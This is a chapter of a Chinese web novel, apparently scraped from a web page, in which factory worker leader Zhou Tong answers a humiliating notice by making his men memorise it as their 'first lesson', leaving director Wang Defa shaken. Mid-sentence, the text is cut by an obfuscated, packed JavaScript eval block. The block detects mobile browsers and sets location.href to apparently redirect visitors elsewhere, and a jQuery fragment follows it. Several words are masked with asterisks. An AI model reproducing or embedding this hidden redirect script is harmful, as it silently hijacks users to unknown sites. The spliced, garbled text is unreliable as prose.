第158章 第一课:耻辱
作品:《被儿女冻死后,窝囊老爹重生了》 那笑容,如同一滴落入滚油的冰水,瞬间在人群中炸开了一片死寂。
时间仿佛被一只无形的手捏住了。
前一秒还汹涌澎湃的怒火,后一秒便被这匪夷所思的表情彻底冻结。
工人们脸上的狂怒凝固了,扭曲的五官维持着一个荒诞的姿态,仿佛一尊尊被瞬间石化的雕像。
他们眼中的烈焰,在接触到周桐嘴角那抹极淡的弧度时,骤然熄灭,只留下一片错愕的、茫然的灰烬。
笑?
他在笑什么?
这个问题,像一根冰冷的钢针,扎进每一个人的脑海。
他们的大脑无法处理眼前这颠覆认知的一幕。
那张布告栏上的白纸黑字,是烙铁,是耳光,是钉死他们尊严的棺材钉。
面对这一切,他们的领袖,他们的主心骨,竟然笑了?
这比王德发的通告本身,更具毁灭性。
它瞬间抽空了他们愤怒的根基,让他们像一群冲锋到一半,却发现将军正在后方悠闲品茶的士兵,满腔的血勇,瞬间化作了滑稽的虚无。
“头儿……”
那个差点冲上去撕毁通告的壮硕钳工,声音干涩地呢喃,眼中的赤红迅速褪去,被巨大的困惑所取代。
周桐的目光,缓缓扫过一张张呆滞的脸。
他将所有人的惊骇、不解、甚至那一闪而逝的怀疑,尽收眼底。
他的眼神平静无波,像一口深不见底的古井,倒映不出半点情绪,却能吞噬掉所有投向它的光。
“都看清楚了?”
他终于开口,声音不高,却带着一种金属冷却后的质感,清晰地钻进每个人的耳朵。
他没有解释自己的笑容,也没有安抚众人的情绪。
他只是伸出一根被机油浸染得有些发黑的手指,遥遥指向那张通告。
“我让你们看,不是让你们去撕了它,更不是让你们在这里像个傻子一样吼叫。”
他的话语,冰冷而锐利,像手术刀一般,精准地剖开了众人狂热外衣下那颗脆弱而迷茫的心。
“我让你们,记住它。”
周桐的声音陡然压低,每一个字都像是从齿缝中挤出的钢珠,沉重,有力。
“记住上面的每一个字,记住王德发是怎么给你们定的罪,记住他是怎么把你们的功劳踩在脚下,再吐上一口唾沫的。把这份羞辱,给我刻进骨头里,融进血液里。忘了爹娘的名字,都不能忘了今天这份通告!”
人群死一般地寂静。
工人们的呼吸都停滞了。
他们呆呆地看着周桐,感觉自己的脑子像是被灌满了铅水,沉重得无法转动。
这番话,比任何愤怒的咆哮都更具煽动性,却又比任何安抚都更加冰冷。
它没有宣泄愤怒,而是在引导愤怒,将那股原本会肆意爆发、转瞬即逝的狂暴情绪,锻造成一种更为持久、更为阴冷的能量。
“这份通告,不是王德发的胜利宣言。”
路承舟不知何时,已经站到了周桐的身边,他双手插在口袋里,语气平淡得像是在陈述一个物理定律,“这是他递给你们的战书,也是他亲手为自己写下的罪证。”
他的声音,为周桐那令人费解的行为,提供了第一个合乎逻辑的注脚。
周桐的目光重新变得锐利,他像一位严苛的教官,审视着他面前这支尚未成型的军队。
“从今天起,你们要学的第一课,就是耻辱。”
他一字一顿,声音斩钉截铁,“什么时候,你们能看着它,心里不再是愤怒,而是盘算着怎么让写下它的人十倍、百倍地偿还回来,你们这第一课,才算及格。”
他收回手指,环视四周。
“现在,我命令,所有人,立刻解散。”
这道命令,与今天清晨的那道如出一辙,但此刻听在工人们的耳中,却产生了截然不同的效果。
如果说清晨的命令是压制,那么此刻的命令,就是淬炼。
“回去。吃饭,睡觉,养足你们的精神。”
周桐的眼神深邃,仿佛能看穿未来,“把你们的力气,都给老子攒起来。猎物已经发出了叫嚣,猎人要做的,是磨快自己的刀,而不是跟着它一起嚎叫。”
说完,他不再看任何人,转身,迈步。
路承舟与他并肩而行,两人穿过被震撼得无法动弹的人群,背影从容得仿佛只是两个刚刚散步归来的路人。
人群在他们身后,久久地伫立着。
没有人再吼叫,没有人再骚动。
他们只是死死地盯着那张白纸黑字,眼神在剧烈地变化着。
那里的狂怒正在沉淀,被一种更深沉、更冰冷的东西所取代。
那是一种混杂着**、仇恨与觉醒的复杂光芒。
他们开始理解了。
他们的将军没有投降。
他只是,用一种他们前所未见的方式,吹响了战争的号角。
……
厂长办公室。
王德发刚刚挂断人事科长打来的报喜电话。
电话里,科长用一种谄媚而兴奋的语气,向他汇报了通
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399009|183469||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
告贴出后,热处理车间那群人是如何的狂怒,如何的失控。
“厂长,您这招实在是太高了!釜底抽薪啊!我敢保证,不出半个小时,周桐那伙人就得闹上门来,到时候咱们正好人赃并获,把他们彻底按死!”
王德发靠在宽大的椅背上,脸上露出了多日来第一个发自真心的笑容。
他仿佛已经听到了那群莽夫在楼下叫嚣的声音,仿佛已经看到了周桐被保卫科的人架进来时,那张灰败绝望的脸。
他端起茶杯,准备品一口这杯用胜利冲泡的香茗。
然而,电话铃声,再一次急促地响了起来。
这一次,是保卫科的王队长。
电话一接通,王队长那带着极度惊疑和一丝颤抖的声音便传了过来。
“厂长……周桐……周桐他……”
“他带人来**了?”
王德发心中一喜,语气却故作威严。
“不!没有!”
王队长的声音因为急促而有些变调,“他……他对着通告……笑了!”
“什么?”
王德发端着茶杯的手,猛地一僵。
“他笑了!然后,他让手下那帮人,把通告的内容全都背下来,说是他们的第一课!说完……说完就带着那个路承舟走了!那帮工人,也……也都散了!没一个人**!”
啪嚓!
名贵的紫砂茶杯,从王德发的手中滑落,在光洁的**石地板上摔得粉碎。
滚烫的茶水和茶叶,溅了他一裤腿,他却浑然不觉。
他只是呆呆地站在那里,脸上的笑容彻底凝固,眼神中充满了比听到周桐带人**时,强烈百倍的惊骇与恐惧。
笑了?
把耻辱当成课程?
这……
这是何等的疯子才能做出的举动?
这又是何等的城府才能想出的对策?
一股寒气,毫无征兆地从他的尾椎骨,一路窜上天灵盖。
他感觉自己精心布置的陷阱,非但没有锁住那头野兽,反而像一个拙劣的玩具,被对方轻描淡写地拿在手中,肆意把玩。
他第一次感觉到,自己所面对的,或许根本不是一头凭着血勇横冲直撞的莽夫。
而是一个将獠牙与利爪,完美隐藏在平静表皮之下的真正的猎人。
办公室里,死一般的寂静。
只有墙上的挂钟,依旧在冷漠地走着。
滴答,滴答。
那声音,不再是胜利的伴奏,反而像是为他敲响的,倒计时的丧钟。